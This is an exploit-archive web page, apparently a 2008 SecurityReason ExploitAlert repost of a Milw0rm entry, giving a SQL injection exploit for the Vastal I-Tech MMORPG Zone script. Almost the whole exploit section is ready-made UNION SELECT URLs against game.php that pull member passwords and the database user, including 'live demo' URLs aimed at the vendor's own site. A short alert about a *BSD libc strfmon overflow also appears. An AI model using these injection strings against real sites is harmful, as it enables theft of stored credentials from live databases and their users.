|
 |
| SecurityReason | ||
| WLB | ||
| RSS | ||
| Corporate | ||
| Services | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
| Details : ExploitAlert | ||
 ExploitAlert : 4605 Milw0rm ID : 6379 Credit : Stack Date : 7.9.2008 Exploit Code : ####################################################### # Vastal I-Tech MMORPG Zone SQL Injection Vulnerability # # Author : Stack # # # Script Home Page : http://www.vastal.com/mmorpg-zone-sell-mmorpg-online.html # # Demo : http://www.vastal.com/games/ ####################################################### the exploit fate the password use ur mind for have the column username Exploit: http://site.il/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,concat_ws( 0x3a,password,user()),3,4,5,6/**/members/* http://site.il/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/**/1,22222,3,4, 5,6/* Live Demo http://www.vastal.com/games/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/** /1,concat_ws(0x3a,password,user()),3,4,5,6/**/members/* http://www.vastal.com/games/game.php?yes=1&game_id=-1/**/UNION/**/SELECT/** /1,22222,3,4,5,6/* |
||
| Alert | ||
*BSD libc (strfmon) Multiple vulnerabilities
Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems. |
||
| Apache |  |
|
» Apache Tomcat <= |
||
| PHP | |
|
» PHP 5.2.5 and prior : |
||
- 2008-03-25| Copyright © SecurityReason. All Rights Reserved. |